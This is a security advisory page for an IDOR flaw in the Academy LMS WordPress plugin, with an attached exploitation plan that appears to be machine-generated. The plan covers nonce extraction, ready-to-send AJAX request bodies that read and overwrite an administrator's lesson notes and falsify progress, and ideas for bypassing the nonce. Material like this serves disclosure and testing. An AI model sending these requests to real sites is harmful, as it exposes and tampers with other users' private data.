Academy LMS <= 3.8.0 - Authenticated (Subscriber+) Insecure Direct Object Reference via 'user_id' Parameter
Description
The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.8.0 via the 'save_lesson_note', 'get_lesson_note', and 'complete_lesson_video' AJAX handlers due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read, overwrite, or delete the private lesson notes of any other user (including administrators), and to falsify lesson-completion progress for arbitrary users.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.8.1
Source Code
WordPress.org SVN# Research Plan: CVE-2026-9341 - Academy LMS IDOR via 'user_id' ## 1. Vulnerability Summary The **Academy LMS** plugin for WordPress (versions <= 3.8.0) contains an **Insecure Direct Object Reference (IDOR)** vulnerability within its AJAX handling logic. Specifically, the functions responsible for …
Show full research plan
Research Plan: CVE-2026-9341 - Academy LMS IDOR via 'user_id'
1. Vulnerability Summary
The Academy LMS plugin for WordPress (versions <= 3.8.0) contains an Insecure Direct Object Reference (IDOR) vulnerability within its AJAX handling logic. Specifically, the functions responsible for managing lesson notes (save_lesson_note, get_lesson_note) and tracking video progress (complete_lesson_video) accept a user_id parameter from the request without verifying that the authenticated user has the authority to act on behalf of that user_id. This allows any authenticated user (Subscriber level and above) to read, modify, or delete private notes of any other user (including Administrators) and manipulate the course progress of other students.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Actions:
academy_save_lesson_noteacademy_get_lesson_noteacademy_complete_lesson_video
- Vulnerable Parameter:
user_id(passed via POST/GET payload) - Required Authentication: Subscriber level or higher.
- Preconditions:
- The plugin must be active.
- For note retrieval/manipulation, a
lesson_id(Post ID of a lesson) must be known. - For progress manipulation, a
course_idandlesson_idmust be known.
3. Code Flow
- Registration: The plugin registers AJAX handlers in
Academy\Ajax::init()(referenced inacademy.phpline 99). - Entry Point: When an AJAX request for
academy_get_lesson_noteis received, the handler (likely inincludes/ajax.phpor a related class) parses the input. - Data Extraction: The handler uses a utility like
Academy\Classes\Sanitizer::sanitize_payload(seen inaddons/quizzes/ajax/frontend.php) to extract parameters includinguser_id,lesson_id, andcourse_id. - Vulnerable Sink:
- In
get_lesson_note, the code queries the database (likely{$wpdb->prefix}academy_lesson_notes) using the provideduser_idrather than callingget_current_user_id(). - In
complete_lesson_video, the code updates the lesson completion status for the provideduser_id.
- In
- Authorization Failure: The code fails to check if
(int)$payload['user_id'] === (int)get_current_user_id().
4. Nonce Acquisition Strategy
The Academy LMS plugin typically localizes a nonce for its AJAX operations.
- Identify the Script: The plugin enqueues a frontend script for lessons.
- Identify the Localization Variable: Based on common Academy LMS patterns, the variable is likely
academy_dataoracademy_ajax_object. - Extraction Steps:
- Use
wp-clito create a test course and lesson to ensure the scripts load. - Navigate to the lesson page using
browser_navigate. - Use
browser_evalto extract the nonce:// Recommended check window.academy_data?.nonce || window.academy_ajax_object?.nonce
- Use
- Alternative: Check the page source for
wp_create_nonce('academy_ajax_nonce').
5. Exploitation Strategy
Step 1: Data Harvesting (Information Disclosure)
Target: Read an Administrator's private lesson note.
- Request Tool:
http_request - Method: POST
- URL:
https://<target>/wp-admin/admin-ajax.php - Body (URL-encoded):
action=academy_get_lesson_note&user_id=1&lesson_id=<TARGET_LESSON_ID>&nonce=<EXTRACTED_NONCE> - Expected Response: JSON object containing the
note_contentof the Administrator (User ID 1).
Step 2: Content Manipulation (Data Integrity)
Target: Overwrite an Administrator's note.
- Body (URL-encoded):
action=academy_save_lesson_note&user_id=1&lesson_id=<TARGET_LESSON_ID>¬e_content=Pwned+by+Subscriber&nonce=<EXTRACTED_NONCE>
Step 3: Progress Falsification
Target: Mark a lesson as complete for another user.
- Body (URL-encoded):
action=academy_complete_lesson_video&user_id=<OTHER_USER_ID>&lesson_id=<LESSON_ID>&course_id=<COURSE_ID>&nonce=<EXTRACTED_NONCE>
6. Test Data Setup
- Create Users:
- Admin (ID 1)
- Subscriber (Attacker)
- Create Content:
- Create a Course (
wp post create --post_type=academy_courses --post_title="Test Course" --post_status=publish) - Create a Lesson (
wp post create --post_type=academy_lessons --post_title="Secret Lesson" --post_status=publish)
- Create a Course (
- Admin Action:
- As Admin, create a lesson note. This might require manually inserting into the
wp_academy_lesson_notestable if no CLI command exists:wp db query "INSERT INTO wp_academy_lesson_notes (user_id, lesson_id, note_content) VALUES (1, <LESSON_ID>, 'Admin secret credentials')"
- As Admin, create a lesson note. This might require manually inserting into the
7. Expected Results
- Success (Read): The HTTP response returns a
200 OKstatus with a JSON payload containing the string "Admin secret credentials". - Success (Write): Subsequent calls to
get_lesson_notereturn the attacker-supplied "Pwned" string. - Success (Progress): The response returns
{"success":true}.
8. Verification Steps
- Verify Note Change:
wp db query "SELECT note_content FROM wp_academy_lesson_notes WHERE user_id=1 AND lesson_id=<LESSON_ID>" - Verify Progress Change:
- Check the completion status table (likely
wp_academy_enrolled_coursesor a progress meta field):
wp user meta get <TARGET_USER_ID> _academy_lesson_completed_<LESSON_ID> - Check the completion status table (likely
9. Alternative Approaches
- Bypassing Nonce: If the nonce is tied to a specific action like
academy_nonce, try omitting it. Many Academy LMS handlers in older versions usedcheck_ajax_refererwithdie=falseor inconsistent action strings. - Parameter Brute Force: If
user_idisn't the only key, check forstudent_id(used inaddons/certificates/helper.phpline 25) orauthor_id. - Quizzes Extension: Check
addons/quizzes/ajax/frontend.php. While it usesget_current_user_id()inrender_quiz, check ifinsert_quiz_answersorget_student_quiz_attempt_detailscan be coerced into using a provideduser_idif passed in thepayload_data.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.